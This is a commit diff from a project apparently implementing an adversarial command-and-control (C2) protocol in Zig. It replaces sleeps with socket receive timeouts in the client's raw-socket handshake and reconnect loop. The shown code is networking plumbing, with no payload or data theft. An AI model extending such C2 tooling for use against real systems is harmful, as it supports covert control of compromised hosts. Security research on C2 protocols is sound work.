Adversarial C2 Protocol Implemented in Zig
Set timeouts instead of sleeping
+10
-12
+1
-2
src/Client.zig
+1
-2
src/Client.zig
···
113
113
try self.socket.send(full_msg);
114
114
var res_buf: [4096]u8 = undefined;
115
115
116
-
// Ignore response from sentinel, just accept that we got one.
117
116
log.debug("Awaiting handshake response", .{});
117
+
// Ignore response from sentinel, just accept that we got one.
118
118
_ = try self.socket.receive(&res_buf);
119
-
try io.sleep(.fromMilliseconds(40), .real);
120
119
121
120
headers.udp.dst_port = udp_dest_port;
122
121
headers.ip.id = rand.int(u16);
+6
-4
src/RawSocket.zig
+6
-4
src/RawSocket.zig
···
72
72
const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
73
73
if (bind_ret != 0) return error.BindError;
74
74
75
-
const timeout: std.os.linux.timeval = .{ .sec = 60 * if (is_debug) 1 else 10, .usec = 0 };
76
-
const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
77
-
if (timeout_ret != 0) return error.SetTimeoutError;
78
-
79
75
return .{
80
76
.fd = socket,
81
77
.sockaddr_ll = sockaddr_ll,
82
78
.mac = mac,
83
79
};
80
+
}
81
+
82
+
pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void {
83
+
const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec };
84
+
const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
85
+
if (timeout_ret != 0) return error.SetTimeoutError;
84
86
}
85
87
86
88
pub fn deinit(self: *RawSocket) void {
+3
-6
src/main.zig
+3
-6
src/main.zig
···
127
127
return;
128
128
}
129
129
130
-
var retry_seconds: u16 = 12 * if (is_debug) 1 else 10;
131
-
132
130
var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
133
131
var w: Writer = .fixed(&init_con_buf);
134
132
try w.print("{b64}", .{flags.connect.?});
···
139
137
defer client.deinit();
140
138
log.debug("Starting connection", .{});
141
139
140
+
try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
142
141
var connection = client.connect(init.io, w.buffered()) catch {
143
-
try init.io.sleep(.fromSeconds(retry_seconds), .boot);
142
+
log.debug("Connection timed out", .{});
144
143
continue;
145
144
};
146
145
147
-
retry_seconds = 60 * if (is_debug) 1 else 10;
148
-
149
146
log.debug("Connection started", .{});
150
147
151
148
next_message: while (true) {
152
149
var res_buf: [2048]u8 = undefined;
150
+
try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
153
151
const next = connection.next(init.io, &res_buf) catch {
154
-
try init.io.sleep(.fromSeconds(retry_seconds), .boot);
155
152
continue :reconnect;
156
153
};
157
154